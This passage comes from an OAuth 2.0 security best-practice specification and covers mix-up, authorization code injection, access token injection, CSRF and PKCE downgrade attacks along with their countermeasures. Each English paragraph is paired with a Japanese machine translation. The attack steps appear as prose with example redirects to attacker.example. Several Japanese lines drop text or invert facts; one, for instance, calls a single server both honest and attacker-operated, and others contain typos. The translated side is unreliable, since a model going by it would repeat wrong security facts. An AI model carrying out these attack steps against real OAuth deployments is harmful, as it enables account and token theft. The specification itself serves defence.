ここでの説明は[arxiv.1601.01229]に続き、以下に概説する攻撃のバリアントがあります。
Preconditions: For this variant of the attack to work, it is assumed that
前提条件：攻撃のこのバリアントが機能するためには、
* the implicit or authorization code grant is used with multiple authorization servers of which one is considered "honest" (H-AS) and one is operated by the attacker (A-AS), and
* 暗黙的または認可コードグラントは、複数の認可サーバーで使用されます。このサーバーは「正直」と見なされ（h-as）、攻撃者（a-as）によって運営されています。
* the client stores the authorization server chosen by the user in a session bound to the user's browser and uses the same redirection URI for each authorization server.
* クライアントは、ユーザーのブラウザにバインドされたセッションでユーザーが選択した認証サーバーを保存し、各認可サーバーに同じリダイレクトURIを使用します。
In the following, it is further assumed that the client is registered with H-AS (URI: https://honest.as.example, client ID: 7ZGZldHQ) and with A-AS (URI: https://attacker.example, client ID: 666RVZJTA). URLs shown in the following example are shortened for presentation to include only parameters relevant to the attack.
以下では、クライアントがh-as（uri：https://honest.as.example、client id：7zgzldhq）に登録されているとさらに想定されています。、クライアントID：666rvzjta）。次の例に示されているURLは、攻撃に関連するパラメーターのみを含めるようにプレゼンテーションのために短縮されます。
Attack on the authorization code grant:
認可コードグラントへの攻撃：
1. The user selects to start the grant using A-AS (e.g., by clicking on a button on the client's website).
1. ユーザーは、A-ASを使用してグラントを起動することを選択します（たとえば、クライアントのWebサイトのボタンをクリックして）。
2. The client stores in the user's session that the user selected "A-AS" and redirects the user to A-AS's authorization endpoint with a Location header containing the URL https://attacker.example/ authorize?response_type=code&client_id=666RVZJTA.
2. クライアントは、ユーザーが「A-AS」を選択し、URL https://attacker.example/ authorize？response_type = code＆client_id = 666rvzjtaを含むロケーションヘッダーを使用して、ユーザーをA-ASの認可エンドポイントにリダイレクトするというユーザーセッションに保存します。
3. When the user's browser navigates to the attacker's authorization endpoint, the attacker immediately redirects the browser to the authorization endpoint of H-AS. In the authorization request, the attacker replaces the client ID of the client at A-AS with the client's ID at H-AS. Therefore, the browser receives a redirection (303 See Other) with a Location header pointing to https://honest.as.example/ authorize?response_type=code&client_id=7ZGZldHQ
3. ユーザーのブラウザが攻撃者の認可エンドポイントにナビゲートすると、攻撃者はすぐにブラウザをH-ASの認可エンドポイントにリダイレクトします。認可リクエストでは、攻撃者は、A-ASのクライアントのクライアントIDをH-ASのクライアントのIDに置き換えます。したがって、ブラウザはリダイレクト（303を参照）を受け取り、https://honest.as.example/ authorize？respons_type = code＆client_id = 7zgzldhqを指すロケーションヘッダー
4. The user authorizes the client to access their resources at H-AS. (Note that a vigilant user might at this point detect that they intended to use A-AS instead of H-AS. The first attack variant listed does not have this limitation.) H-AS issues a code and sends it (via the browser) back to the client.
4. ユーザーは、クライアントにH-ASでリソースにアクセスすることを許可します。（警戒ユーザーは、この時点で、H-ASの代わりにA-ASを使用するつもりであることを検出する可能性があることに注意してください。リストされた最初の攻撃バリアントにはこの制限がありません。）H-ASはコードを発行して送信します（ブラウザ経由で）クライアントに戻ります。
5. Since the client still assumes that the code was issued by A-AS, it will try to redeem the code at A-AS's token endpoint.
5. クライアントは、コードがA-ASによって発行されたと依然として想定しているため、A-ASのトークンエンドポイントでコードを引き換えようとします。
6. The attacker therefore obtains code and can either exchange the code for an access token (for public clients) or perform an authorization code injection attack as described in Section 4.5.
6. したがって、攻撃者はコードを取得し、セクション4.5で説明されているように、コードをアクセストークン（パブリッククライアントの場合）と交換するか、認可コードインジェクション攻撃を実行できます。
Variants:
バリアント：
* Mix-Up with Interception: This variant works only if the attacker can intercept and manipulate the first request/response pair from a user's browser to the client (in which the user selects a certain authorization server and is then redirected by the client to that authorization server), as in Attacker (A2) (see Section 3). This capability can, for example, be the result of an attacker-in-the-middle attack on the user's connection to the client. In the attack, the user starts the flow with H-AS. The attacker intercepts this request and changes the user's selection to A-AS. The rest of the attack proceeds as in Step 2 and following above.
* インターセプトとの混合：このバリアントは、攻撃者がユーザーのブラウザからクライアントに最初のリクエスト/応答ペアを傍受して操作できる場合にのみ機能します（ユーザーは特定の認証サーバーを選択し、クライアントによってリダイレクトされます。サーバー）、攻撃者（A2）のように（セクション3を参照）。この機能は、たとえば、ユーザーのクライアントへの接続に対する中間攻撃者の攻撃の結果である可能性があります。攻撃では、ユーザーはH-ASでフローを開始します。攻撃者はこの要求を傍受し、ユーザーの選択をA-ASに変更します。残りの攻撃は、ステップ2および上記のように進行します。
* Implicit Grant: In the implicit grant, the attacker receives an access token instead of the code in Step 4. The attacker's authorization server receives the access token when the client makes either a request to the A-AS userinfo endpoint (defined in [OpenID.Core]) or a request to the attacker's resource server (since the client believes it has completed the flow with A-AS).
* 暗黙的なグラント：暗黙のグラントで、攻撃者はステップ4のコードの代わりにアクセストークンを受け取ります。攻撃者の認証サーバーは、クライアントがA-AS as as userInfoエンドポイント（[OpenIDで定義されている）にリクエストを行うと、アクセストークンを受け取ります。Core]）または攻撃者のリソースサーバーへのリクエスト（クライアントはA-ASでフローが完了したと考えているため）。
* Per-AS Redirect URIs: If clients use different redirection URIs for different authorization servers, clients do not store the selected authorization server in the user's session, and authorization servers do not check the redirection URIs properly, attackers can mount an attack called "Cross Social-Network Request Forgery". These attacks have been observed in practice. Refer to [research.jcs_14] for details.
* ASごとのリダイレクト URI: クライアントが異なる認可サーバーに対して異なるリダイレクト URI を使用し、クライアントが選択された認可サーバーをユーザーのセッションに保存せず、認可サーバーがリダイレクト URI を適切にチェックしない場合、攻撃者は「クロスソーシャルネットワークリクエストフォージェリ」と呼ばれる攻撃を仕掛けることができます。これらの攻撃は実際に観測されています。詳細については、[research.jcs_14] を参照してください。
* OpenID Connect: Some variants can be used to attack OpenID Connect. In these attacks, the attacker misuses features of the OpenID Connect Discovery [OpenID.Discovery] mechanism or replays access tokens or ID Tokens to conduct a mix-up attack. The attacks are described in detail in Appendix A of [arXiv.1704.08539] and Section 6 of [arXiv.1508.04324v2] ("Malicious Endpoints Attacks").
* OpenID Connect：一部のバリエーションを使用して、OpenID Connectを攻撃できます。これらの攻撃では、攻撃者はOpenID Connect Discovery [OpenID.Discovery]メカニズムの特徴を誤用しています。攻撃については、[arxiv.1704.08539]の付録Aおよび[arxiv.1508.04324v2]（「悪意のあるエンドポイント攻撃」）のセクション6で詳細に説明されています。
When an OAuth client can only interact with one authorization server, a mix-up defense is not required. In scenarios where an OAuth client interacts with two or more authorization servers, however, clients MUST prevent mix-up attacks. Two different methods are discussed below.
OAuthクライアントが1つの認証サーバーとのみ対話できる場合、混合防御は必要ありません。OAuthクライアントが2つの認証サーバーと対話するシナリオでは、クライアントは混乱攻撃を防ぐ必要があります。2つの異なる方法を以下で説明します。
For both defenses, clients MUST store, for each authorization request, the issuer they sent the authorization request to and bind this information to the user agent. The issuer serves, via the associated metadata, as an abstract identifier for the combination of the authorization endpoint and token endpoint that are to be used in the flow. If an issuer identifier is not available (for example, if neither OAuth Authorization Server Metadata [RFC8414] nor OpenID Connect Discovery [OpenID.Discovery] is used), a different unique identifier for this tuple or the tuple itself can be used instead. For brevity of presentation, such a deployment-specific identifier will be subsumed under the issuer (or issuer identifier) in the following.
両方の防御について、クライアントは、認可要求ごとに、認可要求を送信した発行者ごとに、この情報をユーザーエージェントにバインドする必要があります。発行者は、関連するメタデータを介して、フローで使用される認可エンドポイントとトークンエンドポイントの組み合わせの抽象識別子としてサービスを提供します。発行者識別子が利用できない場合（たとえば、OAuth Authorization Server Metadata [RFC8414]またはOpenID Connect Discovery [OpenID.Discovery]が使用されない場合）、このタプルまたはタプル自体の異なる一意の識別子を代わりに使用できます。プレゼンテーションの簡潔さのために、このような展開固有の識別子は、以下の発行者（または発行者識別子）の下に包含されます。
It is important to note that just storing the authorization server URL is not sufficient to identify mix-up attacks. An attacker might declare an uncompromised authorization server's authorization endpoint URL as "their" authorization server URL, but declare a token endpoint under their own control.
Authorization Server URLを保存するだけでは、ミックスアップ攻撃を識別するのに十分ではないことに注意することが重要です。攻撃者は、妥協のない認可サーバーの認可エンドポイントURLを「彼らの」認証サーバーURLとして宣言するかもしれませんが、独自の制御下でトークンのエンドポイントを宣言します。
This defense requires that the authorization server sends its issuer identifier in the authorization response to the client. When receiving the authorization response, the client MUST compare the received issuer identifier to the stored issuer identifier. If there is a mismatch, the client MUST abort the interaction.
この防御では、認可サーバーがクライアントへの認可応答で発行者識別子を送信することが必要です。認可応答を受信する場合、クライアントは受信した発行者識別子を保存された発行者識別子と比較する必要があります。不一致がある場合、クライアントは相互作用を中止する必要があります。
There are different ways this issuer identifier can be transported to the client:
この発行者識別子をクライアントに輸送できるさまざまな方法があります。
* The issuer information can be transported, for example, via a separate response parameter iss, defined in [RFC9207].
* 発行者情報は、たとえば、[RFC9207]で定義されている別の応答パラメーターISSを介して輸送できます。
* When OpenID Connect is used and an ID Token is returned in the authorization response, the client can evaluate the iss claim in the ID Token.
* OpenID Connectが使用され、IDトークンが認可応答で返されると、クライアントはIDトークンのISS請求を評価できます。
In both cases, the iss value MUST be evaluated according to [RFC9207].
どちらの場合も、ISS値は[RFC9207]に従って評価する必要があります。
While this defense may require deploying new OAuth features to transport the issuer information, it is a robust and relatively simple defense against mix-up.
この防御は、発行者情報を輸送するために新しいOAuth機能を展開する必要がある場合がありますが、混合に対する堅牢で比較的単純な防御です。
For this defense, clients MUST use a distinct redirection URI for each issuer they interact with.
この防御のために、クライアントは、対話する発行者ごとに異なるリダイレクトURIを使用する必要があります。
Clients MUST check that the authorization response was received from the correct issuer by comparing the distinct redirection URI for the issuer to the URI where the authorization response was received on. If there is a mismatch, the client MUST abort the flow.
クライアントは、認可対応が受信されたURIとの別個のリダイレクトURIを比較することにより、正しい発行者から認可応答が受信されたことを確認する必要があります。不一致がある場合、クライアントはフローを中止する必要があります。
While this defense builds upon existing OAuth functionality, it cannot be used in scenarios where clients only register once for the use of many different issuers (as in some open banking schemes) and due to the tight integration with the client registration, it is harder to deploy automatically.
この防御は既存のOAuth機能に基づいていますが、クライアントが（一部のオープンバンキングスキームのように）多くの異なる発行者の使用に一度だけ登録し、クライアントの登録との緊密な統合により、クライアントが登録するために使用することはできません。自動的に展開します。
Furthermore, an attacker might be able to circumvent the protection offered by this defense by registering a new client with the "honest" authorization server using the redirect URI that the client assigned to the attacker's authorization server. The attacker could then run the attack as described above, replacing the client ID with the client ID of their newly created client.
さらに、攻撃者は、クライアントが攻撃者の認可サーバーに割り当てたリダイレクトURIを使用して、「正直な」認証サーバーに新しいクライアントを登録することにより、この防御によって提供される保護を回避できる可能性があります。その後、攻撃者は上記のように攻撃を実行し、クライアントIDを新しく作成したクライアントのクライアントIDに置き換えることができます。
This defense SHOULD therefore only be used if other options are not available.
したがって、この防御は、他のオプションが利用できない場合にのみ使用する必要があります。
An attacker who has gained access to an authorization code contained in an authorization response (see Attacker (A3) in Section 3) can try to redeem the authorization code for an access token or otherwise make use of the authorization code.
認可応答に含まれる認可コードへのアクセスを取得した攻撃者（セクション3の攻撃者（A3）を参照）は、アクセストークンの認証コードを引き換えるか、認可コードを使用することを試みることができます。
In the case that the authorization code was created for a public client, the attacker can send the authorization code to the token endpoint of the authorization server and thereby get an access token. This attack was described in Section 4.4.1.1 of [RFC6819].
公開クライアント向けに認可コードが作成された場合、攻撃者は認可コードを認可サーバーのトークンエンドポイントに送信し、それによってアクセストークンを取得できます。この攻撃は、[RFC6819]のセクション4.4.1.1で説明されています。
For confidential clients, or in some special situations, the attacker can execute an authorization code injection attack, as described in the following.
機密クライアントの場合、または一部の特別な状況では、攻撃者は、以下で説明されているように、認可コードインジェクション攻撃を実行できます。
In an authorization code injection attack, the attacker attempts to inject a stolen authorization code into the attacker's own session with the client. The aim is to associate the attacker's session at the client with the victim's resources or identity, thereby giving the attacker at least limited access to the victim's resources.
認可コードインジェクション攻撃では、攻撃者は、盗まれた認可コードをクライアントとの攻撃者自身のセッションに注入しようとします。目的は、クライアントでの攻撃者のセッションを被害者のリソースまたはアイデンティティに関連付けることで、攻撃者に少なくとも被害者のリソースへのアクセスが制限されています。
Besides circumventing the client authentication of confidential clients, other use cases for this attack include:
機密クライアントのクライアント認証を回避することに加えて、この攻撃の他のユースケースは次のとおりです。
* The attacker wants to access certain functions in this particular client. As an example, the attacker wants to impersonate their victim in a certain app or on a certain website.
* 攻撃者は、この特定のクライアントの特定の機能にアクセスしたいと考えています。例として、攻撃者は特定のアプリまたは特定のWebサイトで被害者になりすましたいと考えています。
* The authorization or resource servers are limited to certain networks that the attacker is unable to access directly.
* 認可またはリソースサーバーは、攻撃者が直接アクセスできない特定のネットワークに限定されています。
Except in these special cases, authorization code injection is usually not interesting when the code is created for a public client, as sending the code to the token endpoint is a simpler and more powerful attack, as described above.
これらの特別な場合を除き、コードをトークンエンドポイントに送信することは、上記のように、コードをよりシンプルで強力な攻撃であるため、コードがパブリッククライアント用に作成される場合、認証コードインジェクションは通常興味深いものではありません。
The authorization code injection attack works as follows:
認可コードインジェクション攻撃は次のように機能します。
1. The attacker obtains an authorization code (see Attacker (A3) in Section 3). For the rest of the attack, only the capabilities of a web attacker (A1) are required.
1. 攻撃者は認証コードを取得します（セクション3の攻撃者（A3）を参照）。残りの攻撃では、Web攻撃者（A1）の機能のみが必要です。
2. From the attacker's device, the attacker starts a regular OAuth authorization process with the legitimate client.
2. 攻撃者のデバイスから、攻撃者は正当なクライアントとの定期的なOAuth認証プロセスを開始します。
3. In the response of the authorization server to the legitimate client, the attacker replaces the newly created authorization code with the stolen authorization code. Since this response is passing through the attacker's device, the attacker can use any tool that can intercept and manipulate the authorization response to this end. The attacker does not need to control the network.
3. 正当なクライアントへの認可サーバーの応答では、攻撃者は新しく作成された認証コードを盗まれた認証コードに置き換えます。この応答は攻撃者のデバイスを通過しているため、攻撃者はこの目的に対する認可応答を傍受して操作できるツールを使用できます。攻撃者はネットワークを制御する必要はありません。
4. The legitimate client sends the code to the authorization server's token endpoint, along with the redirect_uri and the client's client ID and client secret (or other means of client authentication).
4. 正当なクライアントは、Redirect_uriとクライアントのクライアントIDおよびクライアントシークレット（またはクライアント認証の他の手段）とともに、CodeをAuthorization Serverのトークンエンドポイントに送信します。
5. The authorization server checks the client secret, whether the code was issued to the particular client, and whether the actual redirection URI matches the redirect_uri parameter (see [RFC6749]).
5. 認証サーバーは、クライアントの秘密、コードが特定のクライアントに発行されたかどうか、および実際のリダイレクトURIがRedirect_uriパラメーターと一致するかどうかをチェックします（[RFC6749]を参照）。
6. All checks succeed and the authorization server issues access and other tokens to the client. The attacker has now associated their session with the legitimate client with the victim's resources and/or identity.
6. すべてのチェックが成功し、認可サーバーはアクセスおよびその他のトークンをクライアントに発行します。攻撃者は現在、セッションと正当なクライアントとのセッションを、被害者のリソースおよび/または身元に関連付けています。
Obviously, the check-in step (Step 5) will fail if the code was issued to another client ID, e.g., a client set up by the attacker. The check will also fail if the authorization code was already redeemed by the legitimate user and was one-time use only.
明らかに、チェックインステップ（ステップ5）は、コードが別のクライアントIDに発行された場合、攻撃者によって設定されたクライアントに失敗します。また、認可コードが正当なユーザーによって既に引き換えられ、一度に使用のみであった場合、チェックは失敗します。
An attempt to inject a code obtained via a manipulated redirection URI should also be detected if the authorization server stored the complete redirection URI used in the authorization request and compares it with the redirect_uri parameter.
操作されたリダイレクトURIを介して取得されたコードを挿入しようとする試みも、認可サーバーが認可要求に使用された完全なリダイレクトURIを保存し、それをRedirect_URIパラメーターと比較する場合に検出する必要があります。
Section 4.1.3 of [RFC6749] requires the authorization server to
[RFC6749]のセクション4.1.3では、認可サーバーが必要です
ensure that the "redirect_uri" parameter is present if the "redirect_uri" parameter was included in the initial authorization request as described in Section 4.1.1, and if included ensure that their values are identical.
セクション4.1.1で説明されているように、「Redirect_uri」パラメーターが初期認可要求に含まれている場合は、「Redirect_uri」パラメーターが存在することを確認し、その場合、その値が同一であることを確認してください。
In the attack scenario described in Section 4.5.1, the legitimate client would use the correct redirection URI it always uses for authorization requests. But this URI would not match the tampered redirection URI used by the attacker (otherwise, the redirect would not land at the attacker's page). So, the authorization server would detect the attack and refuse to exchange the code.
セクション4.5.1で説明されている攻撃シナリオでは、正当なクライアントは、許可リクエストに常に使用する正しいリダイレクトURIを使用します。しかし、このURIは、攻撃者が使用する改ざんされたリダイレクトURIと一致しません（そうでなければ、リダイレクトは攻撃者のページに着陸しません）。そのため、認可サーバーは攻撃を検出し、コードの交換を拒否します。
This check could also detect attempts to inject an authorization code that had been obtained from another instance of the same client on another device if certain conditions are fulfilled:
このチェックは、特定の条件が満たされている場合、同じクライアントの別のインスタンスの別のインスタンスから取得した認可コードを注入しようとする試みを検出することもできます。
* the redirection URI itself contains a nonce or another kind of one-time use, secret data and
* リダイレクトURI自体には、ノンセまたは別の種類の1回限りの使用、秘密データ、および
* the client has bound this data to this particular instance of the client.
* クライアントは、このデータをクライアントのこの特定のインスタンスにバインドしています。
But, this approach conflicts with the idea of enforcing exact redirect URI matching at the authorization endpoint. Moreover, it has been observed that providers very often ignore the redirect_uri check requirement at this stage, maybe because it doesn't seem to be security-critical from reading the specification.
しかし、このアプローチは、認可エンドポイントで正確なリダイレクトURIマッチングを実施するという考えと競合します。さらに、プロバイダーは、この段階でのRedirect_uriチェック要件を非常にしばしば無視することが観察されています。これは、仕様を読むことからセキュリティが批判的ではないように見えるからです。
Other providers just pattern match the redirect_uri parameter against the registered redirection URI pattern. This saves the authorization server from storing the link between the actual redirect URI and the respective authorization code for every transaction. However, this kind of check obviously does not fulfill the intent of the specification, since the tampered redirection URI is not considered. So, any attempt to inject an authorization code obtained using the client_id of a legitimate client or by utilizing the legitimate client on another device will not be detected in the respective deployments.
他のプロバイダーは、redirect_uriパラメーターを登録されたリダイレクトURIパターンと一致させるだけです。これにより、認可サーバーは、実際のリダイレクトURIとすべてのトランザクションのそれぞれの認可コードの間にリンクを保存することから保存されます。ただし、改ざんされたリダイレクトURIは考慮されていないため、この種のチェックは明らかに仕様の意図を満たしていません。したがって、正当なクライアントのclient_idを使用して取得した認可コードを挿入しようとするか、または別のデバイスで正当なクライアントを使用して取得しようとすると、それぞれの展開では検出されません。
It is also assumed that the requirements defined in Section 4.1.3 of [RFC6749] increase client implementation complexity as clients need to store or reconstruct the correct redirection URI for the call to the token endpoint.
また、[RFC6749]のセクション4.1.3で定義されている要件は、クライアントがトークンエンドポイントへの呼び出しのために正しいリダイレクトURIを保存または再構築する必要があるため、クライアントの実装の複雑さを高めると想定されています。
Asymmetric methods for client authentication do not stop this attack, as the legitimate client authenticates at the token endpoint.
クライアント認証のための非対称方法は、正当なクライアントがトークンエンドポイントで認証するため、この攻撃を止めません。
This document therefore recommends instead binding every authorization code to a certain client instance on a certain device (or in a certain user agent) in the context of a certain transaction using one of the mechanisms described next.
したがって、このドキュメントは、代わりに、次に説明したメカニズムのいずれかを使用して、特定のトランザクションのコンテキストで、特定のデバイス（または特定のユーザーエージェント）の特定のクライアントインスタンスにすべての認証コードをバインドすることを推奨します。
There are two good technical solutions to binding authorization codes to client instances, as follows.
次のように、クライアントインスタンスに拘束力のある認可コードを拘束する2つの優れた技術ソリューションがあります。
The PKCE mechanism specified in [RFC7636] can be used as a countermeasure (even though it was originally designed to secure native apps). When the attacker attempts to inject an authorization code, the check of the code_verifier fails: the client uses its correct verifier, but the code is associated with a code_challenge that does not match this verifier.
[RFC7636]で指定されたPKCEメカニズムは、対策として使用できます（元々ネイティブアプリを保護するように設計されていたとしても）。攻撃者が認証コードを挿入しようとすると、code_verifierのチェックが失敗します。クライアントは正しい検証剤を使用しますが、コードはこの検証剤と一致しないcode_challengeに関連付けられています。
PKCE not only protects against the authorization code injection attack but also protects authorization codes created for public clients: PKCE ensures that an attacker cannot redeem a stolen authorization code at the token endpoint of the authorization server without knowledge of the code_verifier.
PKCEは、認可コードインジェクション攻撃から保護するだけでなく、パブリッククライアント向けに作成された認可コードを保護します。PKCEは、攻撃者がcode_verifierの知識なしに認可サーバーのトークンエンドポイントで盗まれた認可コードを引き換えることができないことを保証します。
OpenID Connect's existing nonce parameter can protect against authorization code injection attacks. The nonce value is one-time use and is created by the client. The client is supposed to bind it to the user agent session and send it with the initial request to the OpenID Provider (OP). The OP puts the received nonce value into the ID Token that is issued as part of the code exchange at the token endpoint. If an attacker injects an authorization code in the authorization response, the nonce value in the client session and the nonce value in the ID Token received from the token endpoint will not match, and the attack is detected. The assumption is that an attacker cannot get hold of the user agent state on the victim's device (from which the attacker has stolen the respective authorization code).
OpenID Connectの既存のNONCEパラメーターは、認可コードインジェクション攻撃から保護できます。NonCe値は1回限りの使用であり、クライアントによって作成されます。クライアントは、それをユーザーエージェントセッションにバインドし、最初のリクエストでOpenIDプロバイダー（OP）に送信することになっています。OPは、トークンエンドポイントでのコード交換の一部として発行されるIDトークンに受信したNONCE値をIDトークンに入れます。攻撃者が認証応答に認可コードを注入すると、クライアントセッションのNonCE値とトークンエンドポイントから受信したIDトークンのNonCE値は一致せず、攻撃は検出されます。仮定は、攻撃者が被害者のデバイス上のユーザーエージェント状態を保持できないことです（攻撃者がそれぞれの認可コードを盗んだ）。
It is important to note that this countermeasure only works if the client properly checks the nonce parameter in the ID Token obtained from the token endpoint and does not use any issued token until this check has succeeded. More precisely, a client protecting itself against code injection using the nonce parameter
この対策は、クライアントがトークンエンドポイントから取得したIDトークンのNONCEパラメーターを適切にチェックし、このチェックが成功するまで発行されたトークンを使用しない場合にのみ機能することに注意することが重要です。より正確には、NonCeパラメーターを使用してコードインジェクションから身を守るクライアント
1. MUST validate the nonce in the ID Token obtained from the token endpoint, even if another ID Token was obtained from the authorization response (e.g., response_type=code+id_token), and
1. トークンエンドポイントから取得したIDトークンのNonCEを検証する必要があります。
2. MUST ensure that, unless and until that check succeeds, all tokens (ID Tokens and the access token) are disregarded and not used for any other purpose.
2. そのチェックが成功しない限り、すべてのトークン（IDトークンとアクセストークン）が無視され、他の目的には使用されないことを確認する必要があります。
It is important to note that nonce does not protect authorization codes of public clients, as an attacker does not need to execute an authorization code injection attack. Instead, an attacker can directly call the token endpoint with the stolen authorization code.
攻撃者は認可コードインジェクション攻撃を実行する必要がないため、ノンセはパブリッククライアントの認可コードを保護しないことに注意することが重要です。代わりに、攻撃者は盗まれた認証コードでトークンエンドポイントを直接呼び出すことができます。
Other solutions like binding state to the code, sender-constraining the code using cryptographic means, or per-instance client credentials are conceivable, but lack support and bring new security requirements.
コードに拘束力のある状態などの他のソリューション、暗号化手段を使用してコードを制限する送信者、またはインスタンスごとのクライアント資格情報は考えられますが、サポートがなく、新しいセキュリティ要件をもたらします。
PKCE is the most obvious solution for OAuth clients, as it is available at the time of writing, while nonce is appropriate for OpenID Connect clients.
PKCEは、OAuthクライアントにとって最も明白なソリューションであり、執筆時点で利用可能であるため、NonCEはOpenID Connectクライアントに適しています。
An attacker can circumvent the countermeasures described above if they can modify the nonce or code_challenge values that are used in the victim's authorization request. The attacker can modify these values to be the same ones as those chosen by the client in their own session in Step 2 of the attack above. (This requires that the victim's session with the client begins after the attacker started their session with the client.) If the attacker is then able to capture the authorization code from the victim, the attacker will be able to inject the stolen code in Step 3 even if PKCE or nonce are used.
攻撃者は、被害者の認可要求で使用されるNonCEまたはCode_Challenge値を変更できる場合、上記の対策を回避できます。攻撃者は、上記の攻撃のステップ2で自分のセッションでクライアントが選択した値と同じようにこれらの値を変更できます。（これには、攻撃者がクライアントとのセッションを開始した後、被害者のクライアントとのセッションが始まることが必要です。）攻撃者が被害者から認可コードをキャプチャできる場合、攻撃者はステップ3で盗まれたコードを注入することができますPKCEまたはNONCEが使用されていても。
This attack is complex and requires a close interaction between the attacker and the victim's session. Nonetheless, measures to prevent attackers from reading the contents of the authorization response still need to be taken, as described in Sections 4.1, 4.2, 4.3, 4.4, and 4.11.
この攻撃は複雑であり、攻撃者と被害者のセッションとの間の密接な相互作用が必要です。それにもかかわらず、セクション4.1、4.2、4.3、4.4、および4.11で説明されているように、攻撃者が認証応答の内容を読むのを防ぐための措置は、まだ取得する必要があります。
In an access token injection attack, the attacker attempts to inject a stolen access token into a legitimate client (that is not under the attacker's control). This will typically happen if the attacker wants to utilize a leaked access token to impersonate a user in a certain client.
アクセストークンインジェクション攻撃では、攻撃者は盗まれたアクセストークンを合法的なクライアントに注入しようとします（攻撃者の管理下にありません）。これは通常、攻撃者がリークアクセストークンを利用して特定のクライアントのユーザーになりすましたい場合に発生します。
To conduct the attack, the attacker starts an OAuth flow with the client using the implicit grant and modifies the authorization response by replacing the access token issued by the authorization server or directly making up an authorization server response including the leaked access token. Since the response includes the state value generated by the client for this particular transaction, the client does not treat the response as a CSRF attack and uses the access token injected by the attacker.
攻撃を実施するために、攻撃者は、暗黙のグラントを使用してクライアントとのOAuthフローを開始し、認証サーバーが発行したアクセストークンを交換するか、リークされたアクセストークンを含む許可サーバーの応答を直接作成することにより、認証応答を修正します。応答には、この特定のトランザクションのためにクライアントによって生成された状態価値が含まれているため、クライアントは応答をCSRF攻撃として扱わず、攻撃者が注入したアクセストークンを使用します。
There is no way to detect such an injection attack in pure-OAuth flows since the token is issued without any binding to the transaction or the particular user agent.
トークンや特定のユーザーエージェントに拘束せずにトークンが発行されるため、純オースフローでのこのような注入攻撃を検出する方法はありません。
In OpenID Connect, the attack can be mitigated, as the authorization response additionally contains an ID Token containing the at_hash claim. The attacker therefore needs to replace both the access token as well as the ID Token in the response. The attacker cannot forge the ID Token, as it is signed or encrypted with authentication. The attacker also cannot inject a leaked ID Token matching the stolen access token, as the nonce claim in the leaked ID Token will contain (with a very high probability) a different value than the one expected in the authorization response.
OpenID Connectでは、AT_HASHクレームを含むIDトークンが追加されているため、攻撃を軽減できます。したがって、攻撃者は、アクセストークンと応答のIDトークンの両方を交換する必要があります。攻撃者は、認証で署名または暗号化されているため、IDトークンを偽造できません。攻撃者は、リークされたIDトークンのNonCE請求には（非常に高い確率で）認可応答で予想される値とは異なる値を含むため、盗まれたアクセストークンに一致するリークIDトークンを注入することはできません。
Note that further protection, like sender-constrained access tokens, is still required to prevent attackers from using the access token at the resource endpoint directly.
攻撃者がリソースエンドポイントで直接アクセストークンを使用しないようにするには、送信者に制約のあるアクセストークンと同様に、さらなる保護が必要であることに注意してください。
The recommendations in Section 2.1.2 follow from this.
セクション2.1.2の推奨事項は、これから続きます。
An attacker might attempt to inject a request to the redirection URI of the legitimate client on the victim's device, e.g., to cause the client to access resources under the attacker's control. This is a variant of an attack known as Cross-Site Request Forgery (CSRF).
攻撃者は、たとえば、クライアントが攻撃者のコントロールの下でリソースにアクセスできるようにするために、被害者のデバイス上の正当なクライアントのリダイレクトURIにリクエストを注入しようとする場合があります。これは、クロスサイトリクエスト偽造（CSRF）として知られる攻撃のバリアントです。
The long-established countermeasure is that clients pass a random value, also known as a CSRF Token, in the state parameter that links the request to the redirection URI to the user agent session as described. This countermeasure is described in detail in Section 5.3.5 of [RFC6819]. The same protection is provided by PKCE or the OpenID Connect nonce value.
長期にわたる対策は、クライアントが、リクエストをリダイレクトURIにリダイレクトURIにリンクしてユーザーエージェントセッションにリンクするランダム値を渡すことです。この対策については、[RFC6819]のセクション5.3.5で詳細に説明されています。同じ保護は、PKCEまたはOpenID Connect NonCe値によって提供されます。
When using PKCE instead of state or nonce for CSRF protection, it is important to note that:
CSRF保護のために状態または非CEの代わりにPKCEを使用する場合、次のことに注意することが重要です。
* Clients MUST ensure that the authorization server supports PKCE before using PKCE for CSRF protection. If an authorization server does not support PKCE, state or nonce MUST be used for CSRF protection.
* クライアントは、CSRF保護にPKCEを使用する前に、認可サーバーがPKCEをサポートすることを確認する必要があります。認可サーバーがPKCEをサポートしていない場合、CSRF保護には状態または非CEを使用する必要があります。
* If state is used for carrying application state, and the integrity of its contents is a concern, clients MUST protect state against tampering and swapping. This can be achieved by binding the contents of state to the browser session and/or by signing/ encrypting state values. One example of this is discussed in the expired Internet-Draft [JWT-ENCODED-STATE].
* 状態がアプリケーションの状態を運ぶために使用され、その内容の完全性が懸念事項である場合、クライアントは、改ざんやスワッピングから状態を保護する必要があります。これは、状態の内容をブラウザセッションに結合するか、状態値に署名/暗号化することによって達成できます。この1つの例は、期限切れのインターネットドラフト[JWTエンコード状態]で説明されています。
The authorization server therefore MUST provide a way to detect their support for PKCE. Using Authorization Server Metadata according to [RFC8414] is RECOMMENDED, but authorization servers MAY instead provide a deployment-specific way to ensure or determine PKCE support.
したがって、認可サーバーは、PKCEのサポートを検出する方法を提供する必要があります。[RFC8414]に従って認可サーバーメタデータを使用することをお勧めしますが、代わりにSuporizationサーバーは、PKCEサポートを確保または決定するための展開固有の方法を提供する場合があります。
PKCE provides robust protection against CSRF attacks even in the presence of an attacker that can read the authorization response (see Attacker (A3) in Section 3). When state is used or an ID Token is returned in the authorization response (e.g., response_type=code+id_token), the attacker either learns the state value and can replay it into the forged authorization response, or can extract the nonce from the ID Token and use it in a new request to the authorization server to mint an ID Token with the same nonce. The new ID Token can then be used for the CSRF attack.
PKCEは、認証応答を読むことができる攻撃者の存在下でも、CSRF攻撃に対する堅牢な保護を提供します（セクション3の攻撃者（A3）を参照）。状態が使用されるか、IDトークンが認可応答（例：Response_Type = code+ID_Token）で返される場合、攻撃者は状態値を学習し、偽造認証応答に再生するか、IDトークンから非CEを抽出できますまた、認証サーバーへの新しいリクエストで使用して、同じノンセでIDトークンをミントします。新しいIDトークンは、CSRF攻撃に使用できます。
An authorization server that supports PKCE but does not make its use mandatory for all flows can be susceptible to a PKCE downgrade attack.
PKCEをサポートしているが、すべてのフローに必須の使用を行わない認証サーバーは、PKCEダウングレード攻撃の影響を受けやすい場合があります。
The first prerequisite for this attack is that there is an attacker-controllable flag in the authorization request that enables or disables PKCE for the particular flow. The presence or absence of the code_challenge parameter lends itself for this purpose, i.e., the authorization server enables and enforces PKCE if this parameter is present in the authorization request, but it does not enforce PKCE if the parameter is missing.
